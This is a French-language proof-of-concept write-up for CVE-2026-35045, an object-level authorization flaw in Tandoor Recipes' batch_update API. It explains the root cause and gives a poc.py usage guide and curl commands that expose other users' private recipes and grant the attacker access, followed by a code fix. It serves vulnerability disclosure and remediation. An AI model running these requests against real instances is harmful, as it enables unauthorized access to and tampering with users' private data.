
Preuve de concept d'exploitation pour CVE-2026-35045, une vulnérabilité de contrôle d'accès au niveau objet (BOLA) dans Tandoor Recipes, démontrant la modification non autorisée de recettes via le point de terminaison d'API batch_update.
Le point de terminaison PUT /api/recipe/batch_update/ dans Tandoor Recipes v2.6.1 permet à tout utilisateur authentifié au sein d'un Espace de modifier n'importe quelle recette de cet Espace — y compris les recettes privées appartenant à d'autres utilisateurs. Cela contourne complètement les contrôles d'autorisation au niveau objet appliqués sur tous les points de terminaison standard de recette individuelle.
La cause racine est une lacune comportementale de Django REST Framework : les actions de liste avec detail=False n'invoquent jamais has_object_permission(), uniquement has_permission(). Le queryset filtre uniquement par space=request.space, sans vérification de created_by, private ou de la liste shared. Un attaquant peut forcer l'exposition de recettes privées, s'accorder un accès persistant, révoquer les autorisations d'autres utilisateurs et falsifier les métadonnées — le tout en un seul appel API d'apparence non autorisée qui renvoie HTTP 200 OK avec un corps vide.
| Champ | Valeur |
|---|---|
| ID CVE | CVE-2026-35045 |
| GHSA | GHSA-v8x3-w674-55p5 |
| CWE | CWE-639 — Contournement d'autorisation via une clé contrôlée par l'utilisateur |
| CVSS v3.1 | 8.1 ÉLEVÉE — AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:N |
| Version affectée | Tandoor Recipes ≤ 2.6.1 |
| Fournisseur | TandoorRecipes/recipes |
detail=False contourne les contrôles d'autorisation au niveau objetFichier : cookbook/views/api.py
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space # ← Aucune vérification created_by ou private
)
Dans Django REST Framework, les actions enregistrées avec detail=False sont des actions de liste. Elles n'appellent jamais get_object(), ce qui signifie que check_object_permissions() et CustomRecipePermission.has_object_permission() ne sont jamais invoqués. Seul has_permission() s'exécute — ce qui vérifie l'appartenance à l'Espace, et non la propriété de la recette.
PUT /api/recipe/{id}/ suit le flux complet d'autorisation DRF :
get_object()
→ check_object_permissions()
→ CustomRecipePermission.has_object_permission()
→ refuse l'accès si la recette est privée et non possédée/partagée avec le demandeur
Le point de terminaison batch_update saute silencieusement toute cette chaîne.
RecipeBatchUpdateSerializer expose les champs suivants — modifiables sur toute recette de l'Espace :
| Champ | Effet |
|---|---|
private | Bascule la visibilité de la recette |
shared_add / shared_remove / shared_set | Manipule la liste de contrôle d'accès |
keywords_add / keywords_remove / keywords_set | Modifie les métadonnées de la recette |
working_time / waiting_time | Modifie les données de temps de la recette |
┌──────────┐ ① PUT /api/recipe/batch_update/ ┌─────────────────┐
│ Attaquant│ ─────────────────────────────────────→│ Serveur Tandoor │
│ (User B) │ {"recipes":[2],"private":false, │ │
│ │ "shared_add":[2]} │ has_permission()│
└──────────┘ │ ✓ (Membre Espace)│
│ │
│ has_object_ │
│ permission() │
│ ✗ JAMAIS APPELÉE│
└────────┬────────┘
│
② Recipe.objects.filter(
id__in=[2],
space=request.space
) ← Aucune vérification de propriété
│
▼
┌────────────────┐
│ Recette ID 2 │
│ (possédée par A)│
│ private=false ← corrigé
│ shared=[2] ← auto-accordé
└────────┬───────┘
│
③ HTTP 200 OK — {}
│
▼
┌────────────────┐
│ Attaquant (B) │
│ a désormais un │
│ accès complet │
│ à la Recette 2 │
└────────────────┘
requestspip install requests
# Forcer l'exposition d'une recette privée et s'auto-accorder l'accès (par défaut)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2
# Forcer l'exposition uniquement (définir private=false)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action expose
# Auto-accord uniquement (ajouter à la liste shared, conserver private=true)
python3 poc.py --url http://127.0.0.1:8085 \
--username userB --password passB \
--recipe-id 2 \
--attacker-user-id 2 \
--action self_grant
| Action | Description |
|---|---|
expose | Définit private: false sur la recette cible — force la visibilité pour tous les membres de l'Espace |
self_grant | Ajoute l'ID utilisateur de l'attaquant à shared_add — accorde un accès persistant même si la recette reste privée |
both | Exécute les deux actions en une seule requête (par défaut) |
1. Pré-condition — La recette est inaccessible via le point de terminaison standard
curl -s -o /dev/null -w "%{http_code}" \
http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Attendu : 404 (privée, non possédée)
2. Exploitation — batch_update sans autorisation
curl -X PUT 'http://TARGET:8085/api/recipe/batch_update/' \
-H 'Content-Type: application/json' \
-H 'X-CSRFToken: CSRF_B' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
-d '{"recipes": [2], "shared_add": [2], "private": false}'
# Attendu : HTTP 200 OK — {}
3. Post-condition — La recette est désormais accessible
curl -s http://TARGET:8085/api/recipe/2/ \
-H "Cookie: sessionid=SESSION_B; csrftoken=CSRF_B"
# Attendu : HTTP 200 avec les données de la recette, private=false
4. Vérification via la liste des recettes
curl -s 'http://TARGET:8085/api/recipe/' \
-H 'Cookie: csrftoken=CSRF_B; sessionid=SESSION_B' \
| python3 -c "import sys,json; [print(r['id'],r['name'],r['private']) for r in json.load(sys.stdin)['results']]"
# Attendu : 2 <nom_recette> False
| Domaine d'impact | Description | Gravité |
|---|---|---|
| Exposition forcée de recettes | Définir private: false rend toute recette visible pour tous les membres de l'Espace | Élevée |
| Auto-accord non autorisé | Ajouter son propre ID utilisateur via shared_add accorde un accès en lecture/écriture persistant à toute recette | Élevée |
| Révocation d'accès | Utiliser shared_remove ou shared_set pour retirer des utilisateurs légitimes de la liste de partage d'une recette | Élevée |
| Falsification de métadonnées | Modification de working_time, waiting_time et keywords sur des recettes appartenant à d'autres utilisateurs | Moyenne |
Filtrer le queryset par created_by=request.user pour restreindre les opérations par lot aux recettes possédées :
@decorators.action(detail=False, methods=['PUT'], serializer_class=RecipeBatchUpdateSerializer)
def batch_update(self, request):
serializer = self.serializer_class(data=request.data, partial=True)
if serializer.is_valid():
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user, # ← Correctif : restreindre aux recettes possédées
)
Si les administrateurs d'Espace ont besoin de pouvoir mettre à jour par lot n'importe quelle recette, ajoutez une condition basée sur les rôles :
if is_space_owner(request.user, request.space):
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
)
else:
recipes = Recipe.objects.filter(
id__in=serializer.validated_data['recipes'],
space=self.request.space,
created_by=self.request.user,
)
Toute action avec detail=False qui opère sur des objets individuels doit appliquer manuellement l'autorisation au niveau objet. has_object_permission() de DRF n'est jamais appelé pour les actions de liste — cette responsabilité incombe entièrement au développeur.
Cette preuve de concept est fournie à des fins de tests de sécurité autorisés et de formation uniquement. L'accès non autorisé à des systèmes informatiques est illégal. L'auteur décline toute responsabilité en cas d'utilisation abusive de cet outil.
Filipe Gaudard — Chercheur en sécurité offensive | eWPT | eWPTx